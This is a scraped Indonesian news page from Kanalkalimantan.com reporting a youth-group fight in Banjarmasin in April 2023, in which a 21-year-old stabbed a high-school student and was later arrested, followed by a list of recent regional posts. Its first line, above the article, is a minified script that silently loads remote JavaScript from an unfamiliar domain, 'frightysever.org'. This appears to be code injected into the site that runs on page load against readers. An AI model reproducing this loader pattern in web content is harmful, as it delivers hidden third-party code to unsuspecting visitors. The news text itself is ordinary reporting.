(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Terlibat Perkelahian Antar Kelompok, Tikam Lawan Menyeret R Berurusan dengan Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Kasus penganiayaan kembali terjadi di wilayah Kota Banjarmasin. Kali ini penganiayaan disebabkan oleh adanya perkelahian antar kelompok pemuda.

Pelakunya adalah R (21) warga Jalan Teluk Tiram, Kelurahan Telawang, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

Pelaku R menikam MH (19) yang masih berstatus pelajar sekolah menengah atas dan beralamat masih satu kelurahan dengan pelaku.

Dijelaskan Kapolsek Banjarmasin Barat, melalui Kanit Reskrim Polsek Banjarmasin Barat Iptu Firuza Bahri, kejadian dilatarbelakangi perkelahian antara kelompok pemuda di gang Rahmat.

Baca juga: Dari Langgar Kalimantani Tahun 1943, Masjid Quwwatul Islam Bubuhan Banjar di Yogya

Kemudian pada tanggal 21 April 2023 sekitar pukul 02.00 Wita, R yang berasal dari kelompok Duan menyerang kelompok Rian hingga masuk ke dalam gang Rahmat.

Saat terjadi perkelahian antara Duan dengan Rian, kemudian pelaku R membantu Duan hingga menyerang Rian dan lari masuk ke dalam gang Rahmat.

Korban MH yang berada di gang Rahmat justru menjadi bulan-bulanan R dan dianiaya hingga mengalami luka-luka serius dan dilarikan ke rumah sakit.

“Korban luka berat di tangan kiri, luka di punggung kiri, luka di tangan kanan dekat jempol, luka di pantat, yang dilakukan oleh pelaku R,” kata Iptu Firuza, Minggu (21/5/2023) malam.

Tidak terima anaknya dianiaya hingga luka-luka, ibu korban langsung melaporkan kejadian tersebut ke Polsek Banjarmasin Barat.

Setelah dilakukan penyelidikan, tepat pada Sabtu (20/5/2023) sekitar pukul 14.00 Wita polisi berhasil mengamankan pelaku R di jalan Teluk Tiram Darat RT 03, Kelurahan Telawang, Kecamatan Banjarmasin Barat, Kota Banjarmasin.

“Selanjutnya pelaku dan barang bukti hasil VER dibawa ke Polsek Banjarmasin Barat guna proses hukum lebih lanjut,” kata Iptu Firuza.

Baca juga: Bakumpulan Bubuhan Banjar Yogyakarta Bersama Paman Birin

Sementara itu, untuk barang bukti senjata tajam yang digunakan untuk melukai korban masih dalam pencarian petugas kepolisian. Sedangkan pelaku R diancam dengan Pasal 351 KUHP tentang Penganiayaan. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Risa

Recent Posts

Berbaur dengan Masyarakat, Bupati dan Wabup Banjar Nobar Indonesia Vs Uzbekistan

KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More

3 jam ago

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

6 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

6 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

6 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

7 jam ago

Ritual Laluhan dan Ngarunya Lengkapi Perayaan HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Momen perayaan Hari Jadi ke-218 Kota Kuala Kapuas dan Hari Ulang… Read More

7 jam ago

This website uses cookies.